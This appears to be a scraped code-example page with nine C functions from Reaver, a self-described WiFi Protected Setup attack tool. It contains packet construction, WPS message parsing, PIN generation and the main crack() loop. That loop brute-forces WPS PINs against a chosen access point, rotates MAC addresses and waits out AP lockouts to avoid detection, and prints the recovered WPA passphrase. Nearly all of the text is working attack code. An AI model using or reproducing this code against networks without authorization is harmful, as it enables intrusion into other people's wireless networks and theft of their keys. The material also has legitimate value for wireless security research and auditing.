Ejemplo n.º 1
0
/* Send a WSC_NACK message */
void send_wsc_nack()
{
	struct wps_data *wps = get_wps();

	wps->state = SEND_WSC_NACK;
	send_msg(SEND_WSC_NACK);
}
Ejemplo n.º 2
0
/* Starts receive timer. Called from send_packet() after a packet is trasmitted */
void start_timer()
{
        struct itimerval timer;
	struct wps_data *wps = get_wps();

        memset(&timer, 0, sizeof(struct itimerval));

        /* 
	 * The M5 and M7 messages have very fast turn around times -
         * typically a few hundreths of a second. We don't want to wait
         * around forever to see if we get them or not, so use a short
         * timeout value when waiting for those messages.
	 * Ignore this timeout if we know the AP responds with NACKs when
	 * the wrong pin is supplied instead of not responding at all.
         */
        if(get_timeout_is_nack() &&
	  (wps->state == RECV_M5 || wps->state == RECV_M7))
	{
                timer.it_value.tv_usec = get_m57_timeout();
        }
        else
        {
                /* 
		 * Other messages may take up to 2 seconds to respond - 
                 * wait a little longer for them.
                 */
                timer.it_value.tv_sec = get_rx_timeout();
        }

	set_out_of_time(0);

        setitimer(ITIMER_REAL, &timer, 0);
}
Ejemplo n.º 3
0
/* Processes a received WPS message and returns the message type */
enum wps_type process_wps_message(const void *data, size_t data_size) {
    const struct wpabuf *msg = NULL;
    enum wps_type type = UNKNOWN;
    struct wps_data *wps = get_wps();
    unsigned char *element_data = NULL;
    struct wfa_element_header element = {0};
    int i = 0, header_size = sizeof (struct wfa_element_header);

    /* Shove data into a wpabuf structure for processing */
    msg = wpabuf_alloc_copy(data, data_size);
    if (msg) {
        /* Process the incoming message */
        wps_registrar_process_msg(wps, get_opcode(), msg);
        wpabuf_free((struct wpabuf *) msg);

        /* Loop through until we hit the end of the data buffer */
        for (i = 0; i < data_size; i += header_size) {
            element_data = NULL;
            memset((void *) &element, 0, header_size);

            /* Get the element header data */
            memcpy((void *) &element, (data + i), header_size);
            element.type = htons(element.type);
            element.length = htons(element.length);

            /* Make sure the element length does not exceed the remaining buffer size */
            if (element.length <= (data_size - i - header_size)) {
                element_data = (unsigned char *) (data + i + header_size);

                switch (element.type) {
                    case MESSAGE_TYPE:
                        type = (uint8_t) element_data[0];
                        break;
                    case CONFIGURATION_ERROR:
                        /* Check element_data length */
                        if (element.length == 2)
                            set_nack_reason(htons(*((uint16_t*) element_data)));
                        break;
                    default:
                        break;
                }
            }

            /* Offset must include element length(s) */
            i += element.length;
        }

    }

    return type;
}
Ejemplo n.º 4
0
/* Send the appropriate WPS message based on the current WPS state (globule->wps->state) */
int send_msg(int type)
{
	int ret_val = 0;
	const struct wpabuf *msg = NULL;
	unsigned char *payload = NULL;
        const void *packet = NULL;
        size_t packet_len = 0;
        uint16_t payload_len = 0;
	enum wsc_op_code opcode = 0;
	struct wps_data *wps = get_wps();

	/* 
	 * Get the next message we need to send based on the data retrieved 
	 * from wps_registrar_process_msg (see exchange.c).
	 */
        msg = wps_registrar_get_msg(wps, &opcode, type);
	set_opcode(opcode);
        if(msg)
        {
		/* Get a pointer to the actual data inside of the wpabuf */
                payload = (unsigned char *) wpabuf_head(msg);
                payload_len = (uint16_t) msg->used;

		/* Build and send an EAP packet with the message payload */
                packet = build_eap_packet(payload, payload_len, &packet_len);
		if(packet)
		{
			if(send_packet(packet, packet_len, 1))
			{
				ret_val = 1;
			} else {
				free((void *) packet);
			}
		}

		wpabuf_free((struct wpabuf *) msg);
        }

	return ret_val;
}
Ejemplo n.º 5
0
/* 
 * Remove the last WPS pin (if any), build the next WPS pin in the p1 and p2 arrays, 
 * and populate the wps structure with the new pin.
 */
char *build_next_pin()
{
        char *pin = NULL;
        struct wps_data *wps = get_wps();

        /* Remove previous pin */
        wps_registrar_invalidate_pin(wps->wps->registrar, wps->uuid_e);

        /* Build a new pin */
        pin = build_wps_pin();
        if(pin)
        {
                /* Add the new pin */
                if(wps_registrar_add_pin(wps->wps->registrar, NULL, (const u8 *) pin, PIN_SIZE, 0) != 0)
                {
                        free(pin);
                        pin = NULL;
                }
        }

        return pin;
}
Ejemplo n.º 6
0
int reaver_main(int argc, char **argv)
{
	int ret_val = EXIT_FAILURE, r = 0;
	time_t start_time = 0, end_time = 0;
	struct wps_data *wps = NULL;

	globule_init();
	init_default_settings();

	fprintf(stderr, "\nReaver v%s WiFi Protected Setup Attack Tool\n", get_version());
	fprintf(stderr, "Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <*****@*****.**>\n\n");

	if(argc < 2)
	{
		ret_val = reaver_usage(argv[0]);
		goto end;
	}

	/* Process the command line arguments */
	if(process_arguments(argc, argv) == EXIT_FAILURE)
	{
		ret_val = reaver_usage(argv[0]);
		goto end;
	}

	/* Double check reaver_usage */
	if(!get_iface() || (memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) == 0))
	{
		reaver_usage(argv[0]);
		goto end;
	}

	/* If no MAC address was provided, get it ourselves */
	if(memcmp(get_mac(), NULL_MAC, MAC_ADDR_LEN) == 0)
	{
		if(!read_iface_mac())
		{
			fprintf(stderr, "[-] Failed to retrieve a MAC address for interface '%s'!\n", get_iface());
			goto end;
		}
	}

	/* Sanity checking on the message timeout value */	
	if(get_m57_timeout() > M57_MAX_TIMEOUT) 
	{
		set_m57_timeout(M57_MAX_TIMEOUT);
	}
	else if(get_m57_timeout() <= 0)
	{
		set_m57_timeout(M57_DEFAULT_TIMEOUT);
	}

	/* Sanity checking on the receive timeout value */
	if(get_rx_timeout() <= 0)
	{
		set_rx_timeout(DEFAULT_TIMEOUT);
	}

	/* Initialize signal handlers */
	sigint_init();
	sigalrm_init();

	/* Mark the start time */
	start_time = time(NULL);

	/* Do it. */
	crack();

	/* Mark the end time */
	end_time = time(NULL);

	/* Check our key status */
	if(get_key_status() == KEY_DONE)
	{
		wps = get_wps();

		cprintf(VERBOSE,  		    "[+] Pin cracked in %d seconds\n", (int) (end_time - start_time));
		cprintf(CRITICAL, 		    "[+] WPS PIN: '%s'\n", get_pin());
		if(wps->key)      cprintf(CRITICAL, "[+] WPA PSK: '%s'\n", wps->key);
		if(wps->essid)    cprintf(CRITICAL, "[+] AP SSID: '%s'\n", wps->essid);

		/* Run user-supplied command */
		if(get_exec_string())
		{
			r = system(get_exec_string());
		}

		ret_val = EXIT_SUCCESS;
	}
	else 
	{
		cprintf(CRITICAL, "[-] Failed to recover WPA key\n");
	}
	
	save_session();

end:
	globule_deinit();
	return ret_val;
}
Ejemplo n.º 7
0
/* 
 * Processes incoming packets looking for EAP and WPS messages.
 * Responsible for stopping the timer when a valid EAP packet is received.
 * Returns the type of WPS message received, if any.
 */
enum wps_type process_packet(const u_char *packet, struct pcap_pkthdr *header) {
    struct radio_tap_header *rt_header = NULL;
    struct dot11_frame_header *frame_header = NULL;
    struct llc_header *llc = NULL;
    struct dot1X_header *dot1x = NULL;
    struct eap_header *eap = NULL;
    struct wfa_expanded_header *wfa = NULL;
    const void *wps_msg = NULL;
    size_t wps_msg_len = 0;
    enum wps_type type = UNKNOWN;
    struct wps_data *wps = NULL;

    if (packet == NULL || header == NULL) {
        return UNKNOWN;
    } else if (header->len < MIN_PACKET_SIZE) {
        return UNKNOWN;
    }

    /* Cast the radio tap and 802.11 frame headers and parse out the Frame Control field */
    rt_header = (struct radio_tap_header *) packet;
    frame_header = (struct dot11_frame_header *) (packet + rt_header->len);

    /* Does the BSSID/source address match our target BSSID? */
    if (memcmp(frame_header->addr3, get_bssid(), MAC_ADDR_LEN) == 0) {
        /* Is this a data packet sent to our MAC address? */
        if (frame_header->fc.type == DATA_FRAME &&
                frame_header->fc.sub_type == SUBTYPE_DATA &&
                (memcmp(frame_header->addr1, get_mac(), MAC_ADDR_LEN) == 0)) {
            llc = (struct llc_header *) (packet +
                    rt_header->len +
                    sizeof (struct dot11_frame_header)
                    );

            /* All packets in our exchanges will be 802.1x */
            if (llc->type == DOT1X_AUTHENTICATION) {
                dot1x = (struct dot1X_header *) (packet +
                        rt_header->len +
                        sizeof (struct dot11_frame_header) +
                        sizeof (struct llc_header)
                        );

                /* All packets in our exchanges will be EAP packets */
                if (dot1x->type == DOT1X_EAP_PACKET && (header->len >= EAP_PACKET_SIZE)) {
                    eap = (struct eap_header *) (packet +
                            rt_header->len +
                            sizeof (struct dot11_frame_header) +
                            sizeof (struct llc_header) +
                            sizeof (struct dot1X_header)
                            );

                    /* EAP session termination. Break and move on. */
                    if (eap->code == EAP_FAILURE) {
                        cprintf(VERBOSE, "[!] EAP_FAILURE: TERMINATE\n");
                        type = TERMINATE;
                    }
                        /* If we've received an EAP request and then this should be a WPS message */
                    else if (eap->code == EAP_REQUEST) {
                        /* The EAP header builder needs this ID value */
                        set_eap_id(eap->id);

                        /* Stop the receive timer that was started by the last send_packet() */
                        stop_timer();

                        /* Check to see if we received an EAP identity request */
                        if (eap->type == EAP_IDENTITY) {
                            /* We've initiated an EAP session, so reset the counter */
                            set_eapol_start_count(0);

                            type = IDENTITY_REQUEST;
                        }
                            /* An expanded EAP type indicates a probable WPS message */
                        else if ((eap->type == EAP_EXPANDED) && (header->len > WFA_PACKET_SIZE)) {
                            wfa = (struct wfa_expanded_header *) (packet +
                                    rt_header->len +
                                    sizeof (struct dot11_frame_header) +
                                    sizeof (struct llc_header) +
                                    sizeof (struct dot1X_header) +
                                    sizeof (struct eap_header)
                                    );

                            /* Verify that this is a WPS message */
                            if (wfa->type == SIMPLE_CONFIG) {
                                wps_msg_len = (size_t) ntohs(eap->len) -
                                        sizeof (struct eap_header) -
                                        sizeof (struct wfa_expanded_header);

                                wps_msg = (const void *) (packet +
                                        rt_header->len +
                                        sizeof (struct dot11_frame_header) +
                                        sizeof (struct llc_header) +
                                        sizeof (struct dot1X_header) +
                                        sizeof (struct eap_header) +
                                        sizeof (struct wfa_expanded_header)
                                        );

                                /* Save the current WPS state. This way if we get a NACK message, we can 
                                 * determine what state we were in when the NACK arrived.
                                 */
                                wps = get_wps();
                                set_last_wps_state(wps->state);
                                set_opcode(wfa->opcode);

                                /* Process the WPS message and send a response */
                                type = process_wps_message(wps_msg, wps_msg_len);
                            }
                        }
                    }
                }
            }
        }
    }

    return type;
}
Ejemplo n.º 8
0
/* Wrapper for SNAP / Dot1X / EAP / WFA / Payload */
const void *build_eap_packet(const void *payload, uint16_t payload_len, size_t *len)
{
    const void *buf = NULL, *snap_packet = NULL, *eap_header = NULL, *dot1x_header = NULL, *wfa_header = NULL;
    size_t buf_len = 0, snap_len = 0, eap_len = 0, dot1x_len = 0, wfa_len = 0, offset = 0, total_payload_len = 0;
    uint8_t eap_type = 0, eap_code = 0;
    struct wps_data *wps = get_wps();

    /* Decide what type of EAP packet to build based on the current WPS state */
    switch(wps->state)
    {
        case RECV_M1:
            eap_code = EAP_RESPONSE;
            eap_type = EAP_IDENTITY;
            break;
        default:
            eap_code = EAP_RESPONSE;
            eap_type = EAP_EXPANDED;
    }

    /* Total payload size may or may not be equal to payload_len depending on if we
     * need to build and add a WFA header to the packet payload.
     */
    total_payload_len = payload_len;

    /* If eap_type is Expanded, then we need to add a WFA header */
    if(eap_type == EAP_EXPANDED)
    {
        wfa_header = build_wfa_header(get_opcode(), &wfa_len);
        total_payload_len += wfa_len;
    }

    /* Build SNAP, EAP and 802.1x headers */
    snap_packet = build_snap_packet(&snap_len);
    eap_header = build_eap_header(get_eap_id(), eap_code, eap_type, total_payload_len, &eap_len);
    dot1x_header = build_dot1X_header(DOT1X_EAP_PACKET, (total_payload_len+eap_len), &dot1x_len);

    if(snap_packet && eap_header && dot1x_header)
    {
        buf_len = snap_len + dot1x_len + eap_len + total_payload_len;
        buf = malloc(buf_len);
        if(buf)
        {
            memset((void *) buf, 0, buf_len);

            /* Build the packet */
            memcpy((void *) buf, snap_packet, snap_len);
            offset += snap_len;
            memcpy((void *) ((char *) buf+offset), dot1x_header, dot1x_len);
            offset += dot1x_len;
            memcpy((void *) ((char *) buf+offset), eap_header, eap_len);
            offset += eap_len;

            if(eap_type == EAP_EXPANDED)
            {
                memcpy((void *) ((char *) buf+offset), wfa_header, wfa_len);
                offset += wfa_len;
            }

            if(payload && payload_len)
            {
                memcpy((void *) ((char *) buf+offset), payload, payload_len);
            }

            *len = (offset + payload_len);
        }

        free((void *) snap_packet);
        free((void *) eap_header);
        free((void *) dot1x_header);
        if(wfa_header) free((void *) wfa_header);
    }

    return buf;
}
Ejemplo n.º 9
0
/* Brute force all possible WPS pins for a given access point */
void crack()
{
    unsigned char *bssid = NULL;
    char *pin = NULL;
    int fail_count = 0, loop_count = 0, sleep_count = 0, assoc_fail_count = 0;
    float pin_count = 0;
    time_t start_time = 0;
    enum wps_result result = 0;
    /* MAC CHANGER VARIABLES */
    int mac_changer_counter = 0;
    char mac[MAC_ADDR_LEN] = { 0 };
    unsigned char mac_string [] = "ZZ:ZZ:ZZ:ZZ:ZZ:ZZ";
    unsigned char* new_mac = &mac_string[0];
    char last_digit = '0';

    if(!get_iface())
    {
        return;
    }

    if(get_max_pin_attempts() == -1)
    {
        cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
        return;
    }

    /* Initialize network interface */
    set_handle(capture_init(get_iface()));

    if(get_handle() != NULL)
    {
        generate_pins();

        /* Restore any previously saved session */
        if(get_static_p1() == NULL)
        {
            restore_session();
        }

        /* Convert BSSID to a string */
        bssid = mac2str(get_bssid(), ':');

        /*
         * We need to get some basic info from the AP, and also want to make sure the target AP
         * actually exists, so wait for a beacon packet
         */
        cprintf(INFO, "[+] Waiting for beacon from %s\n", bssid);
        read_ap_beacon();
        process_auto_options();

        /* I'm fairly certian there's a reason I put this in twice. Can't remember what it was now though... */
        if(get_max_pin_attempts() == -1)
        {
            cprintf(CRITICAL, "[X] ERROR: This device has been blacklisted and is not supported.\n");
            return;
        }

        /* This initial association is just to make sure we can successfully associate */
        while(!reassociate())
        {
            if(assoc_fail_count == MAX_ASSOC_FAILURES)
            {
                assoc_fail_count = 0;
                cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
            }
            else
            {
                assoc_fail_count++;
            }
        }
        cprintf(INFO, "[+] Associated with %s (ESSID: %s)\n", bssid, get_ssid());

        /* Used to calculate pin attempt rates */
        start_time = time(NULL);

        /* If the key status hasn't been explicitly set by restore_session(), ensure that it is set to KEY1_WIP */
        if(get_key_status() <= KEY1_WIP)
        {
            set_key_status(KEY1_WIP);
        }
        /*
         * If we're starting a session at KEY_DONE, that means we've already cracked the pin and the AP is being re-attacked.
         * Re-set the status to KEY2_WIP so that we properly enter the main cracking loop.
         */
        else if(get_key_status() == KEY_DONE)
        {
            set_key_status(KEY2_WIP);
        }

        //copy the current mac to the new_mac variable for mac changer
        if (get_mac_changer() == 1) {
            strncpy(new_mac, mac2str(get_mac(), ':'), 16);
        }

        /* Main cracking loop */
        for(loop_count=0, sleep_count=0; get_key_status() != KEY_DONE; loop_count++, sleep_count++)
        {
            //MAC Changer switch/case to define the last mac address digit
            if (get_mac_changer() == 1) {
                switch (mac_changer_counter) {
                case 0:
                    last_digit = '0';
                    break;
                case 1:
                    last_digit = '1';
                    break;
                case 2:
                    last_digit = '2';
                    break;
                case 3:
                    last_digit = '3';
                    break;
                case 4:
                    last_digit = '4';
                    break;
                case 5:
                    last_digit = '5';
                    break;
                case 6:
                    last_digit = '6';
                    break;
                case 7:
                    last_digit = '7';
                    break;
                case 8:
                    last_digit = '8';
                    break;
                case 9:
                    last_digit = '9';
                    break;
                case 10:
                    last_digit = 'A';
                    break;
                case 11:
                    last_digit = 'B';
                    break;
                case 12:
                    last_digit = 'C';
                    break;
                case 13:
                    last_digit = 'D';
                    break;
                case 14:
                    last_digit = 'E';
                    break;
                case 15:
                    last_digit = 'F';
                    mac_changer_counter = -1;
                    break;
                }

                mac_changer_counter++;

                new_mac[16] = last_digit;
                //transform the string to a MAC and define the MAC
                str2mac((unsigned char *) new_mac, (unsigned char *) &mac);
                set_mac((unsigned char *) &mac);

                cprintf(WARNING, "[+] Using MAC %s \n", mac2str(get_mac(), ':'));
            }

            /*
             * Some APs may do brute force detection, or might not be able to handle an onslaught of WPS
             * registrar requests. Using a delay here can help prevent the AP from locking us out.
             */
            pcap_sleep(get_delay());

            /* Users may specify a delay after x number of attempts */
            if((get_recurring_delay() > 0) && (sleep_count == get_recurring_delay_count()))
            {
                cprintf(VERBOSE, "[+] Entering recurring delay of %d seconds\n", get_recurring_delay());
                pcap_sleep(get_recurring_delay());
                sleep_count = 0;
            }

            /*
             * Some APs identify brute force attempts and lock themselves for a short period of time (typically 5 minutes).
             * Verify that the AP is not locked before attempting the next pin.
             */
            while(get_ignore_locks() == 0 && is_wps_locked())
            {
                cprintf(WARNING, "[!] WARNING: Detected AP rate limiting, waiting %d seconds before re-checking\n", get_lock_delay());
                pcap_sleep(get_lock_delay());

            }

            /* Initialize wps structure */
            set_wps(initialize_wps_data());
            if(!get_wps())
            {
                cprintf(CRITICAL, "[-] Failed to initialize critical data structure\n");
                break;
            }

            /* Try the next pin in the list */
            pin = build_next_pin();
            if(!pin)
            {
                cprintf(CRITICAL, "[-] Failed to generate the next payload\n");
                break;
            }
            else
            {
                cprintf(WARNING, "[+] Trying pin %s\n", pin);
            }

            /*
             * Reassociate with the AP before each WPS exchange. This is necessary as some APs will
             * severely limit our pin attempt rate if we do not.
             */
            assoc_fail_count = 0;
            while(!reassociate())
            {
                if(assoc_fail_count == MAX_ASSOC_FAILURES)
                {
                    assoc_fail_count = 0;
                    cprintf(CRITICAL, "[!] WARNING: Failed to associate with %s (ESSID: %s)\n", bssid, get_ssid());
                }
                else
                {
                    assoc_fail_count++;
                }
            }


            /*
             * Enter receive loop. This will block until a receive timeout occurs or a
             * WPS transaction has completed or failed.
             */
            result = do_wps_exchange();

            switch(result)
            {
            /*
             * If the last pin attempt was rejected, increment
             * the pin counter, clear the fail counter and move
             * on to the next pin.
             */
            case KEY_REJECTED:
                fail_count = 0;
                pin_count++;
                advance_pin_count();
                break;
            /* Got it!! */
            case KEY_ACCEPTED:
                break;
            /* Unexpected timeout or EAP failure...try this pin again */
            default:
                cprintf(VERBOSE, "[!] WPS transaction failed (code: 0x%.2X), re-trying last pin\n", result);
                fail_count++;
                break;
            }

            /* If we've had an excessive number of message failures in a row, print a warning */
            if(fail_count == WARN_FAILURE_COUNT)
            {
                cprintf(WARNING, "[!] WARNING: %d failed connections in a row\n", fail_count);
                fail_count = 0;
                pcap_sleep(get_fail_delay());
            }

            /* Display status and save current session state every DISPLAY_PIN_COUNT loops */
            if(loop_count == DISPLAY_PIN_COUNT)
            {
                save_session();
                display_status(pin_count, start_time);
                loop_count = 0;
            }

            /*
             * The WPA key and other settings are stored in the globule->wps structure. If we've
             * recovered the WPS pin and parsed these settings, don't free this structure. It
             * will be freed by wpscrack_free() at the end of main().
             */
            if(get_key_status() != KEY_DONE)
            {
                wps_deinit(get_wps());
                set_wps(NULL);
            }
            /* If we have cracked the pin, save a copy */
            else
            {
                set_pin(pin);
            }
            free(pin);
            pin = NULL;

            /* If we've hit our max number of pin attempts, quit */
            if((get_max_pin_attempts() > 0) &&
                    (pin_count == get_max_pin_attempts()))
            {
                cprintf(VERBOSE, "[+] Quitting after %d crack attempts\n", get_max_pin_attempts());
                break;
            }
        }

        if(bssid) free(bssid);
        if(get_handle())
        {
            pcap_close(get_handle());
            set_handle(NULL);
        }
    }
    else
    {
        cprintf(CRITICAL, "[-] Failed to initialize interface '%s'\n", get_iface());
    }
}